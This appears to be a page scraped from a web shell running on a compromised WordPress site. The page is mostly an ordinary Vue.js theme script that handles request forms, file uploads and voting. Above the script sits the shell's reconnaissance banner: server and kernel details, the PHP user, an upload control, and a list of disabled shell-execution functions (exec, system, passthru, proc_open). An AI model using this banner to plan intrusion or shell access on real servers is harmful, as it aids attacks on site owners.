AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Assets/fontend/ |
Upload File : |
var requestsPage = new Vue({
el:'#requests-page',
data:{
data:{
email:'',
title:'',
content:'',
image:''
},
image:'',
locked:false,
progress:0,
toast:'',
requestList:'',
showList:[],
pages:0,
selecter:'.request-list-box ul',
opt:{
userid:0,
paged:1
},
api:'getMyDirectmessageList'
},
mounted(){
if(this.$refs.requests){
this.opt.paged = this.$refs.paged.getAttribute('data-paged')
this.$refs.goldNav.go(this.opt.paged,'comment',true)
}
},
methods:{
get(data){
this.requestList = data.data
this.pages = data.pages
},
submit(){
if(this.locked == true) return
this.locked = true
this.$http.post(b2_rest_url+'submitRequest',Qs.stringify(this.data)).then(res=>{
this.requestList.push({
id:Math.round(Math.random()*10000),
type:'from',
date:new Date().Format("yyyy-MM-dd hh:mm:ss"),
value:this.data.title,
content:this.data.content
})
this.data = {
email:'',
title:'',
content:'',
image:''
}
this.locked = false
Qmsg['success'](b2_global.js_text.circle.sub_success,{html:true});
}).catch(err=>{
Qmsg['warning'](err.response.data.message,{html:true});
this.locked = false
})
},
getFile(event){
if(event.target.files.length <= 0) return
if(this.locked == true) return
this.locked = true
this.progress = 0
let file = event.target.files[0]
let formData = new FormData()
formData.append('file',file,file.name)
formData.append("post_id", 1)
formData.append("type", 'request')
let config = {
onUploadProgress: progressEvent=>{
this.progress = progressEvent.loaded / progressEvent.total * 100 | 0
}
}
this.toast = Qmsg['loading']('Loading...('+this.progress+'%)');
this.$http.post(b2_rest_url+'fileUpload',formData,config).then(res=>{
if(res.data.status == 401){
Qmsg['warning'](res.data.message,{html:true});
}else{
this.image = res.data.url
this.data.image = res.data.id
}
this.progress = 0
this.$refs.fileInput.value = null
this.locked = false;
this.toast.close()
}).catch(err=>{
Qmsg['warning'](err.response.data.message,{html:true});
this.locked = false
this.progress = 0
this.$refs.fileInput.value = null
this.toast.close()
})
},
showDrap(id){
this.$set(this.showList,id,!this.showList[id])
}
},
watch:{
progress(val){
this.toast.$elem.firstChild.lastElementChild.innerText = 'Loading...('+val+'%)';
}
}
})
Date.prototype.Format = function (fmt) { // author: meizz
var o = {
"M+": this.getMonth() + 1, // 月份
"d+": this.getDate(), // 日
"h+": this.getHours(), // 小时
"m+": this.getMinutes(), // 分
"s+": this.getSeconds(), // 秒
"q+": Math.floor((this.getMonth() + 3) / 3), // 季度
"S": this.getMilliseconds() // 毫秒
};
if (/(y+)/.test(fmt))
fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
for (var k in o)
if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
return fmt;
}
var documentVote = new Vue({
el:'.single-document-footer',
data:{
postData:[]
},
methods:{
vote(type){
b2ContentFooter.vote(type)
}
}
})
var documentSidebar = new Vue({
el:'.request-supper',
methods:{
canRequest(url){
if(!b2token){
userTools.login(1)
return
}
window.location.href = url
}
}
})